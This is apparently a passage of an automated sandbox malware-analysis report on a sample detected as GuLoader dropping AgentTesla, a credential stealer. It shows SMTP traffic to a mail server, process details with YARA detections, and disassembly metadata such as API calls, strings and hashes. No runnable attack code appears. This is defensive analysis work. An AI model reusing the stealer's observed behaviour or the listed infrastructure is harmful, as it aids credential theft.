Sep 27, 2021 20:15:40.684393883 CEST	587	49789	31.193.225.171	192.168.11.20	250-multi5027.multi-dominio.com Hello 287400 [84.17.52.54] 250-SIZE 52428800 250-8BITMIME 250-PIPELINING 250-PIPE_CONNECT 250-AUTH PLAIN LOGIN 250-STARTTLS 250 HELP
Sep 27, 2021 20:15:40.684870958 CEST	49789	587	192.168.11.20	31.193.225.171	STARTTLS
Sep 27, 2021 20:15:40.735232115 CEST	587	49789	31.193.225.171	192.168.11.20	220 TLS go ahead
Sep 27, 2021 20:15:40.863226891 CEST	587	49789	31.193.225.171	192.168.11.20	421 multi5027.multi-dominio.com lost input connection
Sep 27, 2021 20:15:42.256752014 CEST	587	49790	31.193.225.171	192.168.11.20	220-multi5027.multi-dominio.com ESMTP Exim 4.94.2 #2 Mon, 27 Sep 2021 20:15:42 +0200 220-We do not authorize the use of this system to transport unsolicited, 220 and/or bulk e-mail.
Sep 27, 2021 20:15:42.256997108 CEST	49790	587	192.168.11.20	31.193.225.171	EHLO 287400
Sep 27, 2021 20:15:42.313265085 CEST	587	49790	31.193.225.171	192.168.11.20	250-multi5027.multi-dominio.com Hello 287400 [84.17.52.54] 250-SIZE 52428800 250-8BITMIME 250-PIPELINING 250-PIPE_CONNECT 250-AUTH PLAIN LOGIN 250-STARTTLS 250 HELP
Sep 27, 2021 20:15:42.313596010 CEST	49790	587	192.168.11.20	31.193.225.171	STARTTLS
Sep 27, 2021 20:15:42.368127108 CEST	587	49790	31.193.225.171	192.168.11.20	220 TLS go ahead
Sep 27, 2021 20:15:42.760298014 CEST	587	49790	31.193.225.171	192.168.11.20	421 multi5027.multi-dominio.com lost input connection

Code Manipulations

Statistics

CPU Usage

Click to jump to process

Memory Usage

Click to jump to process

High Level Behavior Distribution

Click to dive into process behavior distribution

Behavior

Click to jump to process

System Behavior

Analysis Process: ejecutable.exe PID: 6692 Parent PID: 4144

General

Start time:	20:13:20
Start date:	27/09/2021
Path:	C:\Users\user\Desktop\ejecutable.exe
Wow64 process (32bit):	true
Commandline:	'C:\Users\user\Desktop\ejecutable.exe'
Imagebase:	0x400000
File size:	90112 bytes
MD5 hash:	E1034CF41226F321428DE243D9248219
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	Visual Basic
Yara matches:	Rule: JoeSecurity_GuLoader_2, Description: Yara detected GuLoader, Source: 00000001.00000002.27685417885.0000000002AB0000.00000040.00000001.sdmp, Author: Joe Security
Reputation:	low

Chronological Activities

Analysis Process: RegAsm.exe PID: 2476 Parent PID: 6692

General

Start time:	20:13:43
Start date:	27/09/2021
Path:	C:\Windows\Microsoft.NET\Framework\v2.0.50727\RegAsm.exe
Wow64 process (32bit):	true
Commandline:	'C:\Users\user\Desktop\ejecutable.exe'
Imagebase:	0xf60000
File size:	53248 bytes
MD5 hash:	A64DACA3CFBCD039DF3EC29D3EDDD001
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	.Net C# or VB.NET
Yara matches:	Rule: JoeSecurity_AgentTesla_1, Description: Yara detected AgentTesla, Source: 00000004.00000002.32237380754.000000001E661000.00000004.00000001.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000004.00000002.32237380754.000000001E661000.00000004.00000001.sdmp, Author: Joe Security Rule: JoeSecurity_TelegramRAT, Description: Yara detected Telegram RAT, Source: 00000004.00000002.32237380754.000000001E661000.00000004.00000001.sdmp, Author: Joe Security
Reputation:	low

Chronological Activities

Analysis Process: conhost.exe PID: 5652 Parent PID: 2476

General

Start time:	20:13:43
Start date:	27/09/2021
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff702ed0000
File size:	875008 bytes
MD5 hash:	81CA40085FC75BABD2C91D18AA9FFA68
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	moderate

Chronological Activities

Disassembly

Code Analysis

Reset < >

Analysis Process: ejecutable.exe PID: 6692 Parent PID: 4144 ejecutable.exeCOMMON

Execution Graph

Execution Coverage:	6.3%
Dynamic/Decrypted Code Coverage:	2.5%
Signature Coverage:	0%
Total number of Nodes:	40
Total number of Limit Nodes:	6

Executed Functions

Function 00412E10, Relevance: 75.6, APIs: 39, Strings: 4, Instructions: 329
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

#612.MSVBVM60(?), ref: 00412E92
__vbaStrVarMove.MSVBVM60(?), ref: 00412E9C
__vbaStrMove.MSVBVM60 ref: 00412EA7
__vbaFreeVar.MSVBVM60 ref: 00412EB0
#575.MSVBVM60(?,?), ref: 00412ECC
__vbaVarTstNe.MSVBVM60(?,?), ref: 00412EEE
__vbaFreeVarList.MSVBVM60(00000002,00000002,?), ref: 00412F01
__vbaNew2.MSVBVM60(00410B68,004145C0), ref: 00412F21
__vbaHresultCheckObj.MSVBVM60(00000000,029B004C,00410B58,00000034,?,?,00000ACB,?), ref: 00412F6B
__vbaObjSet.MSVBVM60(?,?,?,?,00000ACB,?), ref: 00412F7C
__vbaStrToAnsi.MSVBVM60(?,snappishly,00000000), ref: 00412F8C
__vbaSetSystemError.MSVBVM60(00000000,00000000), ref: 00412F9F
__vbaFreeStr.MSVBVM60(?,?,00000ACB,?), ref: 00412FBE
__vbaFpI4.MSVBVM60(?,?,00000ACB,?), ref: 00412FD1
__vbaHresultCheckObj.MSVBVM60(00000000,004010F0,004105FC,000002C8), ref: 00413007
__vbaSetSystemError.MSVBVM60(00000000,00000002,00000002), ref: 0041301D
__vbaNew2.MSVBVM60(00410B68,004145C0), ref: 00413045
__vbaHresultCheckObj.MSVBVM60(00000000,029B004C,00410B58,0000004C), ref: 0041306A
__vbaHresultCheckObj.MSVBVM60(00000000,?,00410B94,0000001C,?,?,?,?), ref: 004130BA
__vbaObjSet.MSVBVM60(?,?,?,?,?,?), ref: 004130CB
__vbaFreeObj.MSVBVM60(?,?,?,?), ref: 004130D4
__vbaHresultCheckObj.MSVBVM60(00000000,004010F0,0041062C,000006F8), ref: 004130FC
__vbaStrCopy.MSVBVM60 ref: 0041310A
__vbaFreeStr.MSVBVM60 ref: 00413143
__vbaHresultCheckObj.MSVBVM60(00000000,004010F0,004105FC,000002B4), ref: 00413170
__vbaStrToAnsi.MSVBVM60(?,SINGFEST,00267EEC), ref: 0041318D
__vbaSetSystemError.MSVBVM60(000C5DB5,00000000), ref: 004131A4
__vbaFreeStr.MSVBVM60 ref: 004131C3
__vbaNew2.MSVBVM60(00410B68,004145C0), ref: 004131DC
__vbaLateMemCallLd.MSVBVM60(00000002,?,WkKauIFp5j1bv26pBJsl8jmR69NV785,00000000), ref: 004131F8
__vbaObjVar.MSVBVM60(00000000), ref: 00413202
__vbaObjSetAddref.MSVBVM60(?,00000000), ref: 0041320D
__vbaHresultCheckObj.MSVBVM60(00000000,029B004C,00410B58,0000000C), ref: 00413227
__vbaFreeObj.MSVBVM60 ref: 00413230
__vbaFreeVar.MSVBVM60 ref: 00413239
__vbaFreeObj.MSVBVM60(0041329A), ref: 00413284
__vbaFreeStr.MSVBVM60 ref: 00413289
__vbaFreeObj.MSVBVM60 ref: 00413292
__vbaFreeObj.MSVBVM60 ref: 00413297

Strings

Palmira, xrefs: 00413102
snappishly, xrefs: 00412F86
WkKauIFp5j1bv26pBJsl8jmR69NV785, xrefs: 004131EC
SINGFEST, xrefs: 00413187

Memory Dump Source

Source File: 00000001.00000002.27684447383.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.27684420288.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.27684543851.0000000000414000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.27684569165.0000000000415000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_ejecutable.jbxd

Similarity

API ID: __vba$Free$CheckHresult$ErrorNew2System$AnsiMove$#575#612AddrefCallCopyLateList
String ID: Palmira$SINGFEST$WkKauIFp5j1bv26pBJsl8jmR69NV785$snappishly
API String ID: 1255662601-1278630523
Opcode ID: 88fe47ea4a0617cecb525960a386db8c124a9b6fd06b932c72c27d230e16c145
Instruction ID: 6ad31646f17bebea5233e85f1154096ba9660efa8c0e28f6b1babd3d65ad978a
Opcode Fuzzy Hash: 88fe47ea4a0617cecb525960a386db8c124a9b6fd06b932c72c27d230e16c145
Instruction Fuzzy Hash: E5D17BB0900209AFDB10DFA0DD89EDEBBB9FF48705F10816AF545A32A0D7746985CF58

Uniqueness

Uniqueness Score: -1.00%

Function 004012C8, Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 14
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

#100.MSVBVM60(VB5!6!*), ref: 004012CD

Strings

VB5!6!*, xrefs: 004012C8

Memory Dump Source

Source File: 00000001.00000002.27684447383.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.27684420288.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.27684543851.0000000000414000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.27684569165.0000000000415000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_ejecutable.jbxd

Similarity

API ID: #100
String ID: VB5!6!*
API String ID: 1341478452-2574520878
Opcode ID: d84eedd3fd4a3b4355de0830a00e9a8d85895fbe0e925fdc1cdd603376cca03a
Instruction ID: 88958c54ef0a2d07cecbac9c3fbff815ec54ed2c5dff43dfe7e826da91e34f72
Opcode Fuzzy Hash: d84eedd3fd4a3b4355de0830a00e9a8d85895fbe0e925fdc1cdd603376cca03a
Instruction Fuzzy Hash: 95D0B61818E3D50ED30352795C22A8A3FB44E032A830B00EBA980DF1E3C08D0889C3BA

Uniqueness

Uniqueness Score: -1.00%

Non-executed Functions

Function 004135D0, Relevance: 19.3, APIs: 10, Strings: 1, Instructions: 74
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

#672.MSVBVM60(00000000,40080000,00000000,3FF00000,00000000,3FF00000,00000000,3FF00000), ref: 0041361C
__vbaFpR8.MSVBVM60(?,?,?,?,?,?,?,?,?,?,?,?,00401176), ref: 00413622
__vbaNew2.MSVBVM60(00410B68,004145C0,?,?,?,?,?,?,?,?,?,?,?,?,00401176), ref: 00413647
__vbaLateMemCallLd.MSVBVM60(?,?,qTu9tyktlIOgozvLrZMBbdZxTILvo43,00000000), ref: 00413663
__vbaObjVar.MSVBVM60(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,00401176), ref: 0041366D
__vbaObjSetAddref.MSVBVM60(?,00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,00401176), ref: 00413678
__vbaHresultCheckObj.MSVBVM60(00000000,029B004C,00410B58,0000000C), ref: 00413692
__vbaFreeObj.MSVBVM60(?,?,?,?,?,?,?,?,?,?,?,?,?,00401176), ref: 0041369B
__vbaFreeVar.MSVBVM60(?,?,?,?,?,?,?,?,?,?,?,?,?,00401176), ref: 004136A4
__vbaFreeObj.MSVBVM60(004136D6), ref: 004136CF

Strings

qTu9tyktlIOgozvLrZMBbdZxTILvo43, xrefs: 00413657

Memory Dump Source

Source File: 00000001.00000002.27684447383.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.27684420288.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.27684543851.0000000000414000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.27684569165.0000000000415000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_ejecutable.jbxd

Similarity

API ID: __vba$Free$#672AddrefCallCheckHresultLateNew2
String ID: qTu9tyktlIOgozvLrZMBbdZxTILvo43
API String ID: 263512575-2009357870
Opcode ID: efa6ba4f2914f7eb3480a5c87a5a3a8056feef2596f86717f6050436be70d013
Instruction ID: a7825291ab0c0b304328b18a5fba78088244d1d3a87ac911ffc7b9eecdacb0b5
Opcode Fuzzy Hash: efa6ba4f2914f7eb3480a5c87a5a3a8056feef2596f86717f6050436be70d013
Instruction Fuzzy Hash: 27213D70900245FBDB109F95DE49FAABB78FB95B02F104116F541B22A4D7782581CF6D

Uniqueness

Uniqueness Score: -1.00%

Function 004132C0, Relevance: 12.1, APIs: 8, Instructions: 99
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

__vbaAryConstruct2.MSVBVM60(?,00410C14,00000005), ref: 004132FC
#682.MSVBVM60(?,?), ref: 0041333D
__vbaFpR8.MSVBVM60 ref: 00413343
__vbaFreeVar.MSVBVM60 ref: 00413367
_adj_fdiv_m64.MSVBVM60 ref: 00413399
__vbaFpI4.MSVBVM60(42FC0000,?,436E0000), ref: 004133C7
__vbaHresultCheckObj.MSVBVM60(00000000,?,004105FC,000002C0,?,436E0000), ref: 004133FB
__vbaAryDestruct.MSVBVM60(00000000,?,00413426), ref: 0041341F

Memory Dump Source

Source File: 00000001.00000002.27684447383.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.27684420288.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.27684543851.0000000000414000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.27684569165.0000000000415000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_ejecutable.jbxd

Similarity

API ID: __vba$#682CheckConstruct2DestructFreeHresult_adj_fdiv_m64
String ID:
API String ID: 4111779564-0
Opcode ID: 86f2a301bdcdc22cb5aa6a57443b4c88d9529c84926bfe578de0044971e54201
Instruction ID: 98ead49092475fc4d907eb41f2b8cd7d47bc0e60aaa7aad1cbd16cb6382414b8
Opcode Fuzzy Hash: 86f2a301bdcdc22cb5aa6a57443b4c88d9529c84926bfe578de0044971e54201
Instruction Fuzzy Hash: 29317074D01249EBCB04DF91DE48BEEBBB4FB48701F10812AF551BA2A5C7B85985CF58

Uniqueness

Uniqueness Score: -1.00%

Function 00413440, Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 41
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

__vbaVarTstNe.MSVBVM60(?,?), ref: 004134A4
__vbaInStr.MSVBVM60(00000000,Bebyrdelses9,Hvislendes8,FF96B5C0), ref: 004134BF

Strings

Hvislendes8, xrefs: 004134B4
Bebyrdelses9, xrefs: 004134B9

Memory Dump Source

Source File: 00000001.00000002.27684447383.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.27684420288.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.27684543851.0000000000414000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.27684569165.0000000000415000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_ejecutable.jbxd

Similarity

API ID: __vba
String ID: Bebyrdelses9$Hvislendes8
API String ID: 3524132090-1996639642
Opcode ID: 4de0a75d61233c68f08bc7f57630c9c48d682ceb490a02790705b35b724e7657
Instruction ID: 709fa0740abfbcf4f328d379516fa245575530e4b329ff21955c8188ba084536
Opcode Fuzzy Hash: 4de0a75d61233c68f08bc7f57630c9c48d682ceb490a02790705b35b724e7657
Instruction Fuzzy Hash: 44011AB0910258FBCB10DF98CA89BDEBFB8BF08B44F24811AF504B6250D7B85589CF95

Uniqueness

Uniqueness Score: -1.00%

Function 00413500, Relevance: 6.1, APIs: 4, Instructions: 53
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

__vbaNew2.MSVBVM60(00410B68,004145C0), ref: 00413543
__vbaHresultCheckObj.MSVBVM60(00000000,029B004C,00410B58,0000004C), ref: 00413568
__vbaHresultCheckObj.MSVBVM60(00000000,00000000,00410B94,00000028), ref: 00413588
__vbaFreeObj.MSVBVM60 ref: 00413591

Memory Dump Source

Source File: 00000001.00000002.27684447383.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.27684420288.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.27684543851.0000000000414000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.27684569165.0000000000415000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_ejecutable.jbxd

Similarity

API ID: __vba$CheckHresult$FreeNew2
String ID:
API String ID: 4261391273-0
Opcode ID: d00308c8f6298163ec263c328b59ebbbc7e3ba6ddb0af3dced39d34e3b6d8e77
Instruction ID: 86735b89a4b0d3cb8bf02dce44d8efb3049832e00c7f7185f3c03adf324abcac
Opcode Fuzzy Hash: d00308c8f6298163ec263c328b59ebbbc7e3ba6ddb0af3dced39d34e3b6d8e77
Instruction Fuzzy Hash: 5E11A374640204BBD7009FA9CE09FDA7BF8FB08F05F104125F604F32A0E3B859848BA8

Uniqueness

Uniqueness Score: -1.00%

Analysis Process: RegAsm.exe PID: 2476 Parent PID: 6692 RegAsm.exeCOMMON

Execution Graph

Execution Coverage:	33.7%
Dynamic/Decrypted Code Coverage:	97%
Signature Coverage:	7.5%
Total number of Nodes:	134
Total number of Limit Nodes:	7

Executed Functions

Function 1D217900, Relevance: 41.5, Strings: 32, Instructions: 1542COMMON

Download Yara Rule

Strings

\OWq, xrefs: 1D218206
\OWq, xrefs: 1D218828
\OWq, xrefs: 1D2181BC
\OWq, xrefs: 1D218C87
\OWq, xrefs: 1D2184FC
:@0q, xrefs: 1D217E55
\OWq, xrefs: 1D218C29
\OWq, xrefs: 1D2185E4
\OWq, xrefs: 1D21889C
\OWq, xrefs: 1D218AA2
\OWq, xrefs: 1D218A2E
\OWq, xrefs: 1D2189BA
\OWq, xrefs: 1D218415
\OWq, xrefs: 1D218636
^O5q, xrefs: 1D218304
:@0q, xrefs: 1D218017
\OWq, xrefs: 1D218483
:@0q, xrefs: 1D217E64
\OWq, xrefs: 1D218A89
\OWq, xrefs: 1D218C45
\OWq, xrefs: 1D2185C2
\OWq, xrefs: 1D21854E
\OWq, xrefs: 1D218570
\OWq, xrefs: 1D2182C4
\OWq, xrefs: 1D218883
\OWq, xrefs: 1D2184DA
\OWq, xrefs: 1D2187B4
\OWq, xrefs: 1D218BBE
\OWq, xrefs: 1D218438
\OWq, xrefs: 1D218A47
\OWq, xrefs: 1D218CA3
\OWq, xrefs: 1D218841

Memory Dump Source

Source File: 00000004.00000002.32235950109.000000001D210000.00000040.00000001.sdmp, Offset: 1D210000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_1d210000_RegAsm.jbxd

Similarity

API ID:
String ID: :@0q$:@0q$:@0q$\OWq$\OWq$\OWq$\OWq$\OWq$\OWq$\OWq$\OWq$\OWq$\OWq$\OWq$\OWq$\OWq$\OWq$\OWq$\OWq$\OWq$\OWq$\OWq$\OWq$\OWq$\OWq$\OWq$\OWq$\OWq$\OWq$\OWq$\OWq$^O5q
API String ID: 0-2054287789
Opcode ID: c0cc1a64f16a65a0f7f7fe21fd1f5dda4860fca3609f69106e02c37d51df6990
Instruction ID: a58a0c55c70e90d5a87525714adb5421bacdfd89688e5cbf154dad42b11e7e8f
Opcode Fuzzy Hash: c0cc1a64f16a65a0f7f7fe21fd1f5dda4860fca3609f69106e02c37d51df6990
Instruction Fuzzy Hash: 9DD28B70E012598FDB54DF75C894BAEB7F2BF88300F2484A9E519AB390DB749D81CB91

Uniqueness

Uniqueness Score: -1.00%

Function 1D21BAF4, Relevance: 21.9, Strings: 17, Instructions: 679
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

*Wq, xrefs: 1D21BCCB
\OWq, xrefs: 1D21BD0C
*Wq, xrefs: 1D21BB9C
\OWq, xrefs: 1D21C0D0
\OWq, xrefs: 1D21BF0E
\OWq, xrefs: 1D21BC27
^O5q, xrefs: 1D21C312
\OWq, xrefs: 1D21C2E6
\OWq, xrefs: 1D21C0C4
*Wq, xrefs: 1D21C25E
\OWq, xrefs: 1D21BD43
\OWq, xrefs: 1D21C2C9
^O5q, xrefs: 1D21BDAA
\OWq, xrefs: 1D21C298
^O5q, xrefs: 1D21BC53
\OWq, xrefs: 1D21BBD9
\OWq, xrefs: 1D21BC0A

Memory Dump Source

Source File: 00000004.00000002.32235950109.000000001D210000.00000040.00000001.sdmp, Offset: 1D210000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_1d210000_RegAsm.jbxd

Similarity

API ID:
String ID: \OWq$\OWq$\OWq$\OWq$\OWq$\OWq$\OWq$\OWq$\OWq$\OWq$\OWq$^O5q$^O5q$^O5q$*Wq$*Wq$*Wq
API String ID: 0-4118838565
Opcode ID: effc8d06fc2421155c337931d5591a0ffdc1a82c0611af543ed9794d6e9264d9
Instruction ID: 311bd6db43067f8b60598173bf33659ab3cbf0d7c5981da93cbc0e146babe014
Opcode Fuzzy Hash: effc8d06fc2421155c337931d5591a0ffdc1a82c0611af543ed9794d6e9264d9
Instruction Fuzzy Hash: B5429134A002868FEB14DFB5C84479EBBF2AF85304F34C4AAD519AF395CA359C45DB52

Uniqueness

Uniqueness Score: -1.00%

Function 209290D8, Relevance: 19.8, Strings: 11, Instructions: 6003COMMON

Download Yara Rule

Strings

*Wq, xrefs: 2092CD6F
\OWq, xrefs: 2092DE91
\OWq, xrefs: 2092C958
\OWq, xrefs: 2092CA78
d, xrefs: 2092BCB5
\OWq, xrefs: 2092CB90
\OWq, xrefs: 2092DE81
\OWq, xrefs: 20929282
\OWq, xrefs: 2092AC04
\OWq, xrefs: 20929232
d, xrefs: 2092C8B6

Memory Dump Source

Source File: 00000004.00000002.32244826204.0000000020920000.00000040.00000001.sdmp, Offset: 20920000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_20920000_RegAsm.jbxd

Similarity

API ID:
String ID: \OWq$\OWq$\OWq$\OWq$\OWq$\OWq$\OWq$\OWq$d$d$*Wq
API String ID: 0-2925895839
Opcode ID: fd62b49ab2ff5741afcbb816ebe8ca374808670a3a993e7c9cfe88a3056ef295
Instruction ID: 3b79226a868d10c5212e33119f5800f050e95bff091d33e64247d8ded522921f
Opcode Fuzzy Hash: fd62b49ab2ff5741afcbb816ebe8ca374808670a3a993e7c9cfe88a3056ef295
Instruction Fuzzy Hash: F2C3B375900A299FDB65CF68C840AC9F7F6BF89300F0581E6E90DAB225D771AE85CF41

Uniqueness

Uniqueness Score: -1.00%

Function 1D219B80, Relevance: 18.3, Strings: 14, Instructions: 829
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

\OWq, xrefs: 1D21A3B9
\OWq, xrefs: 1D219D02
Vq, xrefs: 1D21A0E9
\OWq, xrefs: 1D21A1F8
\OWq, xrefs: 1D219C5E
\OWq, xrefs: 1D21A428
\OWq, xrefs: 1D21A457
Vq, xrefs: 1D21A0B0
\OWq, xrefs: 1D21A1C1
\OWq, xrefs: 1D21A1A2
\OWq, xrefs: 1D219C96
\OWq, xrefs: 1D21A21E
\OWq, xrefs: 1D21A38F
\OWq, xrefs: 1D21A4DA

Memory Dump Source

Source File: 00000004.00000002.32235950109.000000001D210000.00000040.00000001.sdmp, Offset: 1D210000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_1d210000_RegAsm.jbxd

Similarity

API ID:
String ID: Vq$ Vq$\OWq$\OWq$\OWq$\OWq$\OWq$\OWq$\OWq$\OWq$\OWq$\OWq$\OWq$\OWq
API String ID: 0-4144309893
Opcode ID: c6683ae2207eda39d05ba40dbb59168f9bbdb925ce4545ef3ba318454452a88a
Instruction ID: c4ab222f1a1cbeb6b408742478ea66ea82b865a2e4f4d1b375f5b96f04759300
Opcode Fuzzy Hash: c6683ae2207eda39d05ba40dbb59168f9bbdb925ce4545ef3ba318454452a88a
Instruction Fuzzy Hash: 58624D35E006698FCF25DF64C844B9EB7F2BF89300F1185A9E90AAB250DB71AE45CF51

Uniqueness

Uniqueness Score: -1.00%

Function 1D21D748, Relevance: 14.3, Strings: 11, Instructions: 521
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

^O5q, xrefs: 1D21D7AF
*Wq, xrefs: 1D21DA4E
\OWq, xrefs: 1D21DD64
\OWq, xrefs: 1D21D8EC
0XWq, xrefs: 1D21D8B5
*Wq, xrefs: 1D21DC3C
\OWq, xrefs: 1D21DDC0
^O5q, xrefs: 1D21DB85
*Wq, xrefs: 1D21DAF9
*Wq, xrefs: 1D21DA40
*Wq, xrefs: 1D21DC4A

Memory Dump Source

Source File: 00000004.00000002.32235950109.000000001D210000.00000040.00000001.sdmp, Offset: 1D210000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_1d210000_RegAsm.jbxd

Similarity

API ID:
String ID: 0XWq$\OWq$\OWq$\OWq$^O5q$^O5q$*Wq$*Wq$*Wq$*Wq$*Wq
API String ID: 0-4205383980
Opcode ID: 9c7d5c4a96975685109ad235274f050d435f9648b1fa09e4aff17b067446a6da
Instruction ID: 0b03a60acec2645b0ba51eec7c4bef4f0be38665809784c245119169344519e0
Opcode Fuzzy Hash: 9c7d5c4a96975685109ad235274f050d435f9648b1fa09e4aff17b067446a6da
Instruction Fuzzy Hash: 9F129F74F401868BDB04EB69C880BAEB7F2AF84314F25C46AE519EF391CA75DC45C762

Uniqueness

Uniqueness Score: -1.00%

Function 2092EE38, Relevance: 12.8, Strings: 10, Instructions: 323
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

^O5q, xrefs: 2092F05B
:@0q, xrefs: 2092F198
\OWq, xrefs: 2092EF1E
\OWq, xrefs: 2092F116
\OWq, xrefs: 2092EEFB
*Wq, xrefs: 2092F158
:@0q, xrefs: 2092F17D
\OWq, xrefs: 2092EFDF
*Wq, xrefs: 2092F164
\OWq, xrefs: 2092F028

Memory Dump Source

Source File: 00000004.00000002.32244826204.0000000020920000.00000040.00000001.sdmp, Offset: 20920000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_20920000_RegAsm.jbxd

Similarity

API ID:
String ID: :@0q$:@0q$\OWq$\OWq$\OWq$\OWq$\OWq$^O5q$*Wq$*Wq
API String ID: 0-830678022
Opcode ID: 012867611af7f242eb1565ec236a944f4c131301607b867c925da436842e0ed8
Instruction ID: ea5b52cfe6eb535dd57ac2567961242bbe01cd3f3538fd96c961231aa51527be
Opcode Fuzzy Hash: 012867611af7f242eb1565ec236a944f4c131301607b867c925da436842e0ed8
Instruction Fuzzy Hash: 3DC16C74F002549FDB08DFB5D890B9EB7F6AF88704F15856AE50AAB395DB34AC018B60

Uniqueness

Uniqueness Score: -1.00%

Function 017612A0, Relevance: 9.2, Strings: 7, Instructions: 409
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

\OWq, xrefs: 0176146F
_5q, xrefs: 01761391
\OWq, xrefs: 017614BD
\OWq, xrefs: 01761537
^O5q, xrefs: 01761641
\OWq, xrefs: 01761424
\OWq, xrefs: 01761581

Memory Dump Source

Source File: 00000004.00000002.32228869005.0000000001760000.00000040.00000001.sdmp, Offset: 01760000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_1760000_RegAsm.jbxd

Similarity

API ID:
String ID: \OWq$\OWq$\OWq$\OWq$\OWq$^O5q$_5q
API String ID: 0-536975528
Opcode ID: 0069adcef6a6bb60052a2a46f0ea5f1bc59e7eb2a0ce5391f2d19cd1a8e060a0
Instruction ID: c676a696dd4dd35a7f137e7bd916dc8497294a4c5154b21c20b2dfe906b3ce48
Opcode Fuzzy Hash: 0069adcef6a6bb60052a2a46f0ea5f1bc59e7eb2a0ce5391f2d19cd1a8e060a0
Instruction Fuzzy Hash: 44E19E34F012599BDB14DFB6C85476EB6F6AFC8704F248529E90AAB380DF35AC01CB91

Uniqueness

Uniqueness Score: -1.00%

Function 01761870, Relevance: 7.2, APIs: 1, Strings: 3, Instructions: 155
libraryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LdrInitializeThunk.NTDLL ref: 017618D5

Strings

_5q, xrefs: 017618D0
L.Wq, xrefs: 01761910
L.Wq, xrefs: 01761972

Memory Dump Source

Source File: 00000004.00000002.32228869005.0000000001760000.00000040.00000001.sdmp, Offset: 01760000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_1760000_RegAsm.jbxd

Similarity

API ID: InitializeThunk
String ID: L.Wq$L.Wq$_5q
API String ID: 2994545307-2255568486
Opcode ID: efab1e3d90f83bac741d1531a08c7b1956e60cc81b3591faa4c5737ca99fd9f2
Instruction ID: f3cb461fe2f6b1fbbd13c4073614a892557b0cf307f6bf93ba3244bb557e92b9
Opcode Fuzzy Hash: efab1e3d90f83bac741d1531a08c7b1956e60cc81b3591faa4c5737ca99fd9f2
Instruction Fuzzy Hash: B6519575B002459FCB44EFB4D884AAEB7F6BF88604F14892DE506DB244DF31E945CBA1

Uniqueness

Uniqueness Score: -1.00%

Function 1D21DF6C, Relevance: 6.4, Strings: 4, Instructions: 1441
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

\OWq, xrefs: 1D21F667
\OWq, xrefs: 1D21F5DE
\OWq, xrefs: 1D21F64A
Vq, xrefs: 1D21E08B

Memory Dump Source

Source File: 00000004.00000002.32235950109.000000001D210000.00000040.00000001.sdmp, Offset: 1D210000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_1d210000_RegAsm.jbxd

Similarity

API ID:
